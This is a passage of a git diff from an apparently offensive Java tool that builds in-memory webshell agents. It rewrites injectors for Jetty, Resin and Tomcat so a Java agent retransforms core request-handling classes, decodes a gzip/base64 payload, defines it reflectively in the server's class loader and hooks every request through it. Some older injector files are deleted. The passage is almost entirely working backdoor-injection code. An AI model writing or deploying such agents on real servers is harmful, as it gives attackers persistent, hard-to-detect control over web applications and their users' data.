"{{advisorName}}"; - } - private static void launch(Instrumentation inst) throws Exception { System.out.println("MemShell Agent is starting"); - new AgentBuilder.Default() - .ignore(ElementMatchers.none()) - .disableClassFormatChanges() - .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) -// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) -// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) - .type(named("org.eclipse.jetty.servlet.ServletHandler")) - .transform(new JettyHandlerAgentInjector()) - .installOn(inst); - System.out.println("MemShell Agent is working at org.eclipse.jetty.servlet.ServletHandler.doHandle"); + inst.addTransformer(new JettyHandlerAgentInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + for (String targetClass : TARGET_CLASSES) { + if (targetClass.replace("/", ".").equals(name)) { + targetClassName = name; + if (targetClassName.contains("mortbay")) { + targetMethodName = "handle"; + } + if (targetClassName.contains("ee10")) { + targetMethodName = "doFilter"; + } + inst.retransformClasses(allLoadedClass); + System.out.println("MemShell Agent is working at " + targetClassName + "." + targetMethodName); + } + } + } } -} \ No newline at end of file + + @Override + @SuppressWarnings("all") + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASSES.contains(className)) { + if (className.contains("mortbay")) { + targetMethodName = "handle"; + } + if (className.contains("ee10")) { + targetMethodName = "doFilter"; + } + defineTargetClass(loader); + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + @SuppressWarnings("all") + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (targetMethodName.equals(name)) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static class AgentShellMethodVisitor extends MethodVisitor { + private final Type[] argumentTypes; + private final String className; + + public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) { + super(Opcodes.ASM9, mv); + this.argumentTypes = argTypes; + this.className = className; + } + + @Override + public void visitCode() { + loadArgArray(); + Label tryStart = new Label(); + Label tryEnd = new Label(); + Label catchHandler = new Label(); + Label ifConditionFalse = new Label(); + Label skipCatchBlock = new Label(); + mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable"); + + mv.visitLabel(tryStart); + String internalClassName = className.replace('.', '/'); + mv.visitTypeInsn(Opcodes.NEW, internalClassName); + mv.visitInsn(Opcodes.DUP); + mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "", "()V", false); + mv.visitInsn(Opcodes.SWAP); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, + "java/lang/Object", + "equals", + "(Ljava/lang/Object;)Z", + false); + mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); + mv.visitInsn(Opcodes.RETURN); + mv.visitLabel(ifConditionFalse); + mv.visitLabel(tryEnd); + mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); + mv.visitLabel(catchHandler); + mv.visitInsn(Opcodes.POP); + mv.visitLabel(skipCatchBlock); + } + + public void loadArgArray() { + mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + for (int i = 0; i < argumentTypes.length; i++) { + mv.visitInsn(Opcodes.DUP); + push(i); + Type argumentType = argumentTypes[i]; + mv.visitVarInsn(argumentType.getOpcode(Opcodes.ILOAD), getArgIndex(i)); + boxPrimitive(mv, argumentType); + mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE)); + } + } + + @SuppressWarnings("all") + public void push(final int value) { + if (value >= -1 && value <= 5) { + mv.visitInsn(Opcodes.ICONST_0 + value); + } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) { + mv.visitIntInsn(Opcodes.BIPUSH, value); + } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) { + mv.visitIntInsn(Opcodes.SIPUSH, value); + } else { + mv.visitLdcInsn(new Integer(value)); + } + } + + private void boxPrimitive(MethodVisitor mv, Type type) { + if (type.getSort() == Type.OBJECT || type.getSort() == Type.ARRAY) { + return; // Already an object + } + + String owner; + String descriptor; + + switch (type.getSort()) { + case Type.BOOLEAN: + owner = "java/lang/Boolean"; + descriptor = "(Z)Ljava/lang/Boolean;"; + break; + case Type.CHAR: + owner = "java/lang/Character"; + descriptor = "(C)Ljava/lang/Character;"; + break; + case Type.BYTE: + owner = "java/lang/Byte"; + descriptor = "(B)Ljava/lang/Byte;"; + break; + case Type.SHORT: + owner = "java/lang/Short"; + descriptor = "(S)Ljava/lang/Short;"; + break; + case Type.INT: + owner = "java/lang/Integer"; + descriptor = "(I)Ljava/lang/Integer;"; + break; + case Type.FLOAT: + owner = "java/lang/Float"; + descriptor = "(F)Ljava/lang/Float;"; + break; + case Type.LONG: + owner = "java/lang/Long"; + descriptor = "(J)Ljava/lang/Long;"; + break; + case Type.DOUBLE: + owner = "java/lang/Double"; + descriptor = "(D)Ljava/lang/Double;"; + break; + default: + // Should not happen for primitive types + return; + } + mv.visitMethodInsn(Opcodes.INVOKESTATIC, owner, "valueOf", descriptor, false); + } + + private int getArgIndex(final int arg) { + int index = 1; + for (int i = 0; i < arg; i++) { + index += argumentTypes[i].getSize(); + } + return index; + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } catch (Exception e) { + throw new RuntimeException(e); + } finally { + try { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } catch (Exception ignored) { + } + } + } + + @SuppressWarnings("all") + public void defineTargetClass(ClassLoader loader) { + try { + loader.loadClass(getClassName()); + return; + } catch (ClassNotFoundException ignored) { + } + byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); + try { + java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + defineClass.invoke(loader, classBytecode, 0, classBytecode.length); + } catch (Exception ignored) { + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentWithAsmInjector.java deleted file mode 100644 index c22f5f5a..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentWithAsmInjector.java +++ /dev/null @@ -1,97 +0,0 @@ -package com.reajason.javaweb.memshell.injector.jetty; - -import org.objectweb.asm.*; - -import java.lang.instrument.ClassFileTransformer; -import java.lang.instrument.Instrumentation; -import java.lang.reflect.Constructor; -import java.security.ProtectionDomain; - -/** - * @author ReaJason - * @since 2025/3/26 - */ -public class JettyHandlerAgentWithAsmInjector implements ClassFileTransformer { - private static final String TARGET_CLASS = "org/eclipse/jetty/servlet/ServletHandler"; - private static final String TARGET_METHOD_NAME = "doHandle"; - - static Constructor constructor = null; - - static { - try { - Class clazz = Class.forName(getClassName()); - constructor = clazz.getConstructors()[0]; - constructor.setAccessible(true); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public JettyHandlerAgentWithAsmInjector() { - } - - @Override - public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, - ProtectionDomain protectionDomain, byte[] bytes) { - if (TARGET_CLASS.equals(className)) { - try { - ClassReader cr = new ClassReader(bytes); - ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { - @Override - protected ClassLoader getClassLoader() { - return loader; - } - }; - ClassVisitor cv = getClassVisitor(cw); - cr.accept(cv, ClassReader.EXPAND_FRAMES); - return cw.toByteArray(); - } catch (Exception e) { - e.printStackTrace(); - } - } - return bytes; - } - - public static String getClassName() { - return "{{advisorName}}"; - } - - public static ClassVisitor getClassVisitor(ClassVisitor cv) { - return new ClassVisitor(Opcodes.ASM9, cv) { - @Override - public MethodVisitor visitMethod(int access, String name, String descriptor, - String signature, String[] exceptions) { - MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); - if (TARGET_METHOD_NAME.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return (MethodVisitor) constructor.newInstance(mv, argumentTypes); - } catch (Exception e) { - e.printStackTrace(); - } - } - return mv; - } - }; - } - - public static void premain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - public static void agentmain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - private static void launch(Instrumentation inst) throws Exception { - System.out.println("MemShell Agent is starting"); - inst.addTransformer(new JettyHandlerAgentWithAsmInjector(), true); - for (Class allLoadedClass : inst.getAllLoadedClasses()) { - String name = allLoadedClass.getName(); - if (TARGET_CLASS.replace("/", ".").equals(name)) { - inst.retransformClasses(allLoadedClass); - } - } - System.out.println("MemShell Agent is working at org.eclipse.jetty.servlet.ServletHandler.doHandle"); - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java index 86f1b33d..89f3d850 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java @@ -1,39 +1,28 @@ package com.reajason.javaweb.memshell.injector.resin; -import net.bytebuddy.agent.builder.AgentBuilder; -import net.bytebuddy.asm.Advice; -import net.bytebuddy.description.type.TypeDescription; -import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.matcher.ElementMatchers; -import net.bytebuddy.utility.JavaModule; +import org.objectweb.asm.*; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; - -import static net.bytebuddy.matcher.ElementMatchers.named; +import java.util.zip.GZIPInputStream; /** * @author ReaJason - * @since 2024/12/28 + * @since 2025/3/26 */ -public class ResinFilterChainAgentInjector implements AgentBuilder.Transformer { +public class ResinFilterChainAgentInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain"; + private static final String TARGET_METHOD_NAME = "doFilter"; - static Class interceptorClass = null; - - static { - try { - interceptorClass = Class.forName(getClassName()); - } catch (ClassNotFoundException e) { - e.printStackTrace(); - } + public static String getClassName() { + return "{{advisorName}}"; } - @Override - public DynamicType.Builder transform(DynamicType.Builder builder, - TypeDescription typeDescription, - ClassLoader classLoader, JavaModule module, - ProtectionDomain protectionDomain) { - return builder.visit(Advice.to(interceptorClass).on(named("doFilter"))); + public static String getBase64String() { + return "{{base64String}}"; } public static void premain(String args, Instrumentation inst) throws Exception { @@ -44,20 +33,191 @@ public class ResinFilterChainAgentInjector implements AgentBuilder.Transformer { launch(inst); } - public static String getClassName() { - return "{{advisorName}}"; - } - private static void launch(Instrumentation inst) throws Exception { System.out.println("MemShell Agent is starting"); - new AgentBuilder.Default() - .ignore(ElementMatchers.none()) - .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) -// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) -// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) - .type(named("com.caucho.server.dispatch.FilterFilterChain")) - .transform(new ResinFilterChainAgentInjector()) - .installOn(inst); + inst.addTransformer(new ResinFilterChainAgentInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + } + } System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter"); } -} \ No newline at end of file + + @Override + @SuppressWarnings("all") + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + defineTargetClass(loader); + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + @SuppressWarnings("all") + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name)) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static class AgentShellMethodVisitor extends MethodVisitor { + private final Type[] argumentTypes; + private final String className; + + public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) { + super(Opcodes.ASM9, mv); + this.argumentTypes = argTypes; + this.className = className; + } + + @Override + public void visitCode() { + loadArgArray(); + Label tryStart = new Label(); + Label tryEnd = new Label(); + Label catchHandler = new Label(); + Label ifConditionFalse = new Label(); + Label skipCatchBlock = new Label(); + mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable"); + + mv.visitLabel(tryStart); + String internalClassName = className.replace('.', '/'); + mv.visitTypeInsn(Opcodes.NEW, internalClassName); + mv.visitInsn(Opcodes.DUP); + mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "", "()V", false); + mv.visitInsn(Opcodes.SWAP); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, + "java/lang/Object", + "equals", + "(Ljava/lang/Object;)Z", + false); + mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); + mv.visitInsn(Opcodes.RETURN); + mv.visitLabel(ifConditionFalse); + mv.visitLabel(tryEnd); + mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); + mv.visitLabel(catchHandler); + mv.visitInsn(Opcodes.POP); + mv.visitLabel(skipCatchBlock); + } + + public void loadArgArray() { + mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + for (int i = 0; i < argumentTypes.length; i++) { + mv.visitInsn(Opcodes.DUP); + push(i); + mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i)); + mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE)); + } + } + + @SuppressWarnings("all") + public void push(final int value) { + if (value >= -1 && value <= 5) { + mv.visitInsn(Opcodes.ICONST_0 + value); + } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) { + mv.visitIntInsn(Opcodes.BIPUSH, value); + } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) { + mv.visitIntInsn(Opcodes.SIPUSH, value); + } else { + mv.visitLdcInsn(new Integer(value)); + } + } + + private int getArgIndex(final int arg) { + int index = 1; + for (int i = 0; i < arg; i++) { + index += argumentTypes[i].getSize(); + } + return index; + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } catch (Exception e) { + throw new RuntimeException(e); + } finally { + try { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } catch (Exception ignored) { + } + } + } + + @SuppressWarnings("all") + public void defineTargetClass(ClassLoader loader) { + try { + loader.loadClass(getClassName()); + return; + } catch (ClassNotFoundException ignored) { + } + byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); + try { + java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + defineClass.invoke(loader, classBytecode, 0, classBytecode.length); + } catch (Exception ignored) { + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentWithAsmInjector.java deleted file mode 100644 index 6c00a708..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentWithAsmInjector.java +++ /dev/null @@ -1,97 +0,0 @@ -package com.reajason.javaweb.memshell.injector.resin; - -import org.objectweb.asm.*; - -import java.lang.instrument.ClassFileTransformer; -import java.lang.instrument.Instrumentation; -import java.lang.reflect.Constructor; -import java.security.ProtectionDomain; - -/** - * @author ReaJason - * @since 2025/3/26 - */ -public class ResinFilterChainAgentWithAsmInjector implements ClassFileTransformer { - private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain"; - private static final String TARGET_METHOD_NAME = "doFilter"; - - static Constructor constructor = null; - - static { - try { - Class clazz = Class.forName(getClassName()); - constructor = clazz.getConstructors()[0]; - constructor.setAccessible(true); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public ResinFilterChainAgentWithAsmInjector() { - } - - @Override - public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, - ProtectionDomain protectionDomain, byte[] bytes) { - if (TARGET_CLASS.equals(className)) { - try { - ClassReader cr = new ClassReader(bytes); - ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { - @Override - protected ClassLoader getClassLoader() { - return loader; - } - }; - ClassVisitor cv = getClassVisitor(cw); - cr.accept(cv, ClassReader.EXPAND_FRAMES); - return cw.toByteArray(); - } catch (Exception e) { - e.printStackTrace(); - } - } - return bytes; - } - - public static String getClassName() { - return "{{advisorName}}"; - } - - public static ClassVisitor getClassVisitor(ClassVisitor cv) { - return new ClassVisitor(Opcodes.ASM9, cv) { - @Override - public MethodVisitor visitMethod(int access, String name, String descriptor, - String signature, String[] exceptions) { - MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); - if (TARGET_METHOD_NAME.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return (MethodVisitor) constructor.newInstance(mv, argumentTypes); - } catch (Exception e) { - e.printStackTrace(); - } - } - return mv; - } - }; - } - - public static void premain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - public static void agentmain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - private static void launch(Instrumentation inst) throws Exception { - System.out.println("MemShell Agent is starting"); - inst.addTransformer(new ResinFilterChainAgentWithAsmInjector(), true); - for (Class allLoadedClass : inst.getAllLoadedClasses()) { - String name = allLoadedClass.getName(); - if (TARGET_CLASS.replace("/", ".").equals(name)) { - inst.retransformClasses(allLoadedClass); - } - } - System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter"); - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java index d0dec165..8393a4df 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java @@ -1,39 +1,28 @@ package com.reajason.javaweb.memshell.injector.tomcat; -import net.bytebuddy.agent.builder.AgentBuilder; -import net.bytebuddy.asm.Advice; -import net.bytebuddy.description.type.TypeDescription; -import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.matcher.ElementMatchers; -import net.bytebuddy.utility.JavaModule; +import org.objectweb.asm.*; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; - -import static net.bytebuddy.matcher.ElementMatchers.named; +import java.util.zip.GZIPInputStream; /** * @author ReaJason - * @since 2024/12/28 + * @since 2025/3/26 */ -public class TomcatContextValveAgentInjector implements AgentBuilder.Transformer { +public class TomcatContextValveAgentInjector extends ClassLoader implements ClassFileTransformer { + private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve"; + private static final String TARGET_METHOD_NAME = "invoke"; - static Class interceptorClass = null; - - static { - try { - interceptorClass = Class.forName(getClassName()); - } catch (ClassNotFoundException e) { - e.printStackTrace(); - } + public static String getClassName() { + return "{{advisorName}}"; } - @Override - public DynamicType.Builder transform(DynamicType.Builder builder, - TypeDescription typeDescription, - ClassLoader classLoader, JavaModule module, - ProtectionDomain protectionDomain) { - return builder.visit(Advice.to(interceptorClass).on(named("invoke").and(ElementMatchers.returns(void.class)))); + public static String getBase64String() { + return "{{base64String}}"; } public static void premain(String args, Instrumentation inst) throws Exception { @@ -44,21 +33,192 @@ public class TomcatContextValveAgentInjector implements AgentBuilder.Transformer launch(inst); } - public static String getClassName() { - return "{{advisorName}}"; - } - private static void launch(Instrumentation inst) throws Exception { System.out.println("MemShell Agent is starting"); - new AgentBuilder.Default() - .ignore(ElementMatchers.none()) - .disableClassFormatChanges() - .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) -// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) -// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) - .type(named("org.apache.catalina.core.StandardContextValve")) - .transform(new TomcatContextValveAgentInjector()) - .installOn(inst); - System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke"); + inst.addTransformer(new TomcatContextValveAgentInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke"); + } + } } -} \ No newline at end of file + + @Override + @SuppressWarnings("all") + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + defineTargetClass(loader); + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Throwable e) { + e.printStackTrace(); + } + } + return bytes; + } + + @SuppressWarnings("all") + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); + } catch (Throwable e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static class AgentShellMethodVisitor extends MethodVisitor { + private final Type[] argumentTypes; + private final String className; + + public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) { + super(Opcodes.ASM9, mv); + this.argumentTypes = argTypes; + this.className = className; + } + + @Override + public void visitCode() { + loadArgArray(); + Label tryStart = new Label(); + Label tryEnd = new Label(); + Label catchHandler = new Label(); + Label ifConditionFalse = new Label(); + Label skipCatchBlock = new Label(); + mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable"); + + mv.visitLabel(tryStart); + String internalClassName = className.replace('.', '/'); + mv.visitTypeInsn(Opcodes.NEW, internalClassName); + mv.visitInsn(Opcodes.DUP); + mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "", "()V", false); + mv.visitInsn(Opcodes.SWAP); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, + "java/lang/Object", + "equals", + "(Ljava/lang/Object;)Z", + false); + mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); + mv.visitInsn(Opcodes.RETURN); + mv.visitLabel(ifConditionFalse); + mv.visitLabel(tryEnd); + mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); + mv.visitLabel(catchHandler); + mv.visitInsn(Opcodes.POP); + mv.visitLabel(skipCatchBlock); + } + + public void loadArgArray() { + mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + for (int i = 0; i < argumentTypes.length; i++) { + mv.visitInsn(Opcodes.DUP); + push(i); + mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i)); + mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE)); + } + } + + @SuppressWarnings("all") + public void push(final int value) { + if (value >= -1 && value <= 5) { + mv.visitInsn(Opcodes.ICONST_0 + value); + } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) { + mv.visitIntInsn(Opcodes.BIPUSH, value); + } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) { + mv.visitIntInsn(Opcodes.SIPUSH, value); + } else { + mv.visitLdcInsn(new Integer(value)); + } + } + + private int getArgIndex(final int arg) { + int index = 1; + for (int i = 0; i < arg; i++) { + index += argumentTypes[i].getSize(); + } + return index; + } + } + + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } catch (Exception e) { + throw new RuntimeException(e); + } finally { + try { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } catch (Exception ignored) { + } + } + } + + @SuppressWarnings("all") + public void defineTargetClass(ClassLoader loader) { + try { + loader.loadClass(getClassName()); + return; + } catch (ClassNotFoundException ignored) { + } + byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); + try { + java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + defineClass.invoke(loader, classBytecode, 0, classBytecode.length); + } catch (Exception ignored) { + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentWithAsmInjector.java deleted file mode 100644 index f0e7fe48..00000000 --- 